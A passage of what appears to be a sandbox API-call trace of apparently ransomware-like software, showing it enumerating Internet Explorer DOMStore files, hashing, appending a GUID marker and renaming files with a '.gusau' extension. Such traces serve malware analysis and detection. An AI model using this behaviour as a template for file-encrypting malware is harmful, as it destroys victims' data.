cFileName="frn", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0119.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0119.795] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.796] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.796] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.796] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.796] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.796] PathFindFileNameW (pszPath="") returned="" [0119.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.797] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0119.797] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0119.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.797] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13) returned 1 [0119.797] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.799] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.799] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd, lpOverlapped=0x0) returned 1 [0119.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.800] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.801] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.801] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.801] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.801] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.801] GetLastError () returned 0x0 [0119.801] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.801] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.801] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.802] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.802] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.802] CloseHandle (hObject=0x610) returned 1 [0119.803] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.gusau")) returned 1 [0119.804] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0119.804] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.804] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.804] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.805] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.805] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.805] PathFindFileNameW (pszPath="") returned="" [0119.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.806] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.806] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0119.806] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0119.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.807] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13) returned 1 [0119.807] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.809] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.809] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd, lpOverlapped=0x0) returned 1 [0119.810] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.810] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.810] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.810] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.811] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.811] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.811] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.811] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.811] GetLastError () returned 0x0 [0119.811] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.811] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.811] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.812] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.812] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.812] CloseHandle (hObject=0x610) returned 1 [0119.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.gusau")) returned 1 [0119.813] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0119.813] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.813] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.813] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.814] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.814] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.814] PathFindFileNameW (pszPath="") returned="" [0119.814] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.814] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.814] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.814] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.815] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.815] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.815] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.815] PathFindFileNameW (pszPath="") returned="" [0119.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.815] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.815] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0119.816] PathFindExtensionW 